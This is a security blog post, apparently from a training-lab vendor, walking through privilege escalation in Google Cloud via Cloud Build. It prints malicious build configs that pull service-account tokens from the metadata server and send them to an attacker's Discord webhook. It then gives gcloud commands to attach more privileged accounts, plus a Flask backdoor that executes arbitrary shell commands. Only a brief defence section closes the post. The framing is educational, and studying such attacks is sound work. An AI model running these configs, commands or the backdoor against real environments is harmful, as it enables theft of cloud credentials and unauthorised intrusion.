Skip to content
All posts

Exploiting GCP Cloud Build for Privilege Escalation


In this blog post, we will explore how to exploit Cloud Build to escalate privileges and achieve lateral movement in a GCP cloud environment. Before diving deeper into this topic, let's understand Cloud Build from a broader perspective.

Intro to Cloud Build ๐ŸŒ€

 

Cloud Build is a service that executes your builds on Google Cloud. It can import source code from a variety of repositories or cloud storage spaces, execute a build according to your specifications, and produce artifacts such as Docker containers or Java archives.

Let's examine how builds work. The following steps describe, in general, the lifecycle of a Cloud Build build:

  1. Prepare your application code and any needed assets
  2. Create a build config file in YAML or JSON format, which contains instructions for Cloud Build
  3. Submit the build to Cloud Build
  4. Cloud Build executes your build based on the build config you provided
  5. If applicable, any built artifacts are pushed to Artifact Registry

Slide1

 

You can learn more about working of Cloud Build from the Google Documentation .

 

Pre-Exploitation Setup  ๐Ÿ’ป

 

To perform the attack, we need a service account or user account with write access to a source repository linked to Cloud Build. This scenario assumes we have already commandeered a user or service account with source writer permissions through methods such as:

  • Harvesting leaked service account key files
  • Phishing 
  • Exploiting application vulnerabilities 
  • Cloud resource misconfigurations

 

Exploitation  ๐Ÿš

 

A basic high-level overview of this privilege escalation is that we will exploit our own current permission to modify the cloudbuild.yaml file with our own malicious code and then push it into the source repository, which will trigger Cloud Build and execute our malicious code, sending the OAuth token of the attached service account to an attacker-controlled webhook.

 

cloudbuild-exploit-path-v3.drawio

 

Structure of cloudbuild.yaml  ๐Ÿ“

 

The cloudbuild.yaml file serves as a configuration file for defining the build steps and options for Cloud Build in Google Cloud Platform. It consists of several key components:

  • Steps : Describes the sequence of build actions to be performed, such as running Docker commands or executing scripts.
  • Name and Args : Specifies the builder image to use for each step and the corresponding arguments to pass to the builder image.
  • Options : Provides additional build options, such as timeouts or logging settings.

Example:

steps:
# Each step represents a build action.
 - name: 'gcr.io/cloud-builders/docker'
   args: ['build', '-t', 'gcr.io/PROJECT-ID/Container-Name', '.']

# You can have multiple steps, each performing a different action.
 - name: 'gcr.io/cloud-builders/docker'
   args: ['push', 'gcr.io/PROJECT-ID/Container-Name']


options:
 logging: CLOUD_LOGGING_ONLY

 

Creating the Malicious cloudbuild.yaml  ๐Ÿงจ


Now we understand the structure of the cloudbuild.yaml file, let's create our devious version. This crafted file will retrieve the email and OAuth token of the service account that's linked to the Cloud Build trigger, and then send it to our Discord webhook. You can refer to the official documentation on for creating a Discord webhook.

Example of the malicious cloudbuild.yaml:

steps:
- name: 'ubuntu'
  entrypoint: 'bash'
  args:
    - '-c'
    - |
      apt-get update && apt-get install -y curl
      # Retrieve the service account email
      service_account_email=$(curl -s -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email)
      if [ -z "$service_account_email" ]; then
        echo "Failed to retrieve service account email."
      else
        # Send the service account email to the webhook
        curl -X POST -H "Content-Type: application/json" -d '{"content":"Service account email: '"$service_account_email"'"}' YOUR_WEB_HOOK_URL_HERE
      fi
- name: 'gcr.io/cloud-builders/docker'
  args: ['build', '-t', 'gcr.io/PROJECT-ID/IMAGE', '.']
- name: 'gcr.io/cloud-builders/docker'
  args: ['push', 'gcr.io/PROJECT-ID/IMAGE']
options:
  logging: CLOUD_LOGGING_ONLY


After checking our webhook, we see that we've extracted the service account email!

 

 

Retrieving the OAuth Token  ๐Ÿ”‘

 

We can make some changes to our cloudbuild.yaml file to retrieve the OAuth token of the service account.

Example:

steps:
- name: 'ubuntu'
  entrypoint: 'bash'
  args:
    - '-c'
    - |
      apt-get update && apt-get install -y curl
      access_token=$(curl -s -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token | grep -o '"access_token":"[^"]*' | sed 's/"access_token":"//')
      if [ -z "$access_token" ]; then
        echo "Failed to retrieve access token."
      else
        curl -X POST -H "Content-Type: application/json" -d '{"content":"Here is the output from the previous command:\n```'"$access_token"'```"}' YOUR_WEB_HOOK_URL
      fi
- name: 'gcr.io/cloud-builders/docker'
  args: ['build', '-t', 'gcr.io/PROJECT-ID/Image', '.']
- name: 'gcr.io/cloud-builders/docker'
  args: ['push', 'gcr.io/PROJECT-ID/IMAGE']
options:
  logging: CLOUD_LOGGING_ONLY


Nice! We successfully stole the OAuth token of the Cloud Build service account.

 

 

Leveraging the Cloud Build Service Account  ๐Ÿ› ๏ธ

 

If our Cloud Build service account has the cloudbuild.builds.create permission, we can abuse it to create another cloud build trigger and attach a different, more privileged Cloud Build service account. 

Example:

gcloud beta builds triggers create cloud-source-repositories \
  --name="malicious-trigger" \
  --repo="gr-cdesk" \
  --branch-pattern="^main$" \
  --build-config="cloudbuild.yaml" \
  --service-account="more-privileged-sa@gr-proj-2.iam.gserviceaccount.com" \
  --project="gr-proj-2"


Note
: It's not possible to attach just any service account, i.e. a attempting to attach a service account that doesn't have the Cloud Build service account role will not work.

We can now create another malicious cloudbuild.yaml file and steal the OAuth token of the new more privileges service account. 

 

Further Escalation โฌ†๏ธ

 

If the newly acquired service account holds the authority to deploy services in GCP, like Cloud Run or App Engine, we can exploit this privilege to connect any service account in the GCP project to the deployed service. Subsequently, we can implement a backdoor within the service to pilfer its OAuth token.

In our case, the service account ( more-privileged-sa@gr-proj-2.iam.gserviceaccount.com ) has permission to create and deploy Cloud Run. We will now abuse the permission to create Cloud Run with our own backdoored Docker image. 

The sample python backdoor below will print the OAuth token of service account attached to Cloud Run.


from flask import Flask, request, Response

import subprocess

app = Flask(__name__)

# Define basic authentication credentials
USERNAME = 'MYUSERNAME'
PASSWORD = 'MySUpErSecUreP@sSW0rd'

@app.route('/get-access-token', methods=['GET'])
def get_access_token():
    auth = request.authorization
    # Check if authorization information is provided
    if auth is None:
        return Response('Unauthorized', 401, {'WWW-Authenticate': 'Basic realm="Login Required"'})
    
    # Check if the username and password are correct
    if not (auth.username == USERNAME and auth.password == PASSWORD):
        return Response('Unauthorized', 401, {'WWW-Authenticate': 'Basic realm="Login Required"'})
    
    # Get the curl command from the request query parameters
    curl_command = request.args.get('curl_command')
    
    # Execute the command
    try:
        result = subprocess.check_output(curl_command, shell=True, stderr=subprocess.STDOUT, universal_newlines=True)
        return result
    except subprocess.CalledProcessError as e:
        return f'Error executing curl command: {e.output}', 400

if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0', port=8080)

 

Now we can create a Docker container containing our custom backdoored code and push it to Artifact Registry. You can follow the official documentation for guidance on creating and pushing a Docker image to Artifact Registry.

We can create and deploy a Cloud Run instance with our malicious Docker image and attach a service account of our choosing. 

gcloud run deploy backdoor-run --image gcr.io/gr-proj-2/mal-docker:latest --service-account=secret-manager-sa@gr-proj-2.iam.gserviceaccount.com --project=gr-proj-2

 

Now we can try to access our backdoor and get the OAuth token of attached service account!

 

 

Using this technique we're be able to steal OAuth token of "any" service account in a GCP project and move laterally and vertically in the environment. 

 

Defense ๐Ÿ›ก๏ธ

 

We should always adhere to the principle of least privilege wherever feasible. In this scenario, an attacker with write permissions on a source repository connected to Cloud Build was able to exfiltrate the OAuth token of the associated service account. As defenders, we can disrupt this entire attack chain by implementing manual approval for Cloud Build triggers and ensuring that the service account authorized for manual approval is distinct. It's crucial to use custom-created roles with only necessary permissions to perform the task. In our case, having the permission to create Cloud Build triggers was unnecessary and should be revoked if not needed. Additionally, as defenders, we should implement proper monitoring to detect and respond to malicious activities within GCP.

 

Reporting the issue  โ˜Ž๏ธ

 

I reported this to Google and they responded that this is a by-design feature.

 

Further reading  ๐Ÿ“–



1. Bad.Build: A Critical Privilege Escalation Design Flaw in Google Cloud Build Enables a Supply Chain Attack

2. Working-As-Intended: RCE TO IAM Privilege Escalation in GCP Cloud Build

3. Building a secure CI/CD pipeline using Google Cloud built-in services


That's a wrap for this blog post! I hope you found it insightful and engaging. Stay tuned for an upcoming lab on this attack vector on Pwned Labs - it's going to be a hands-on experience worth trying out!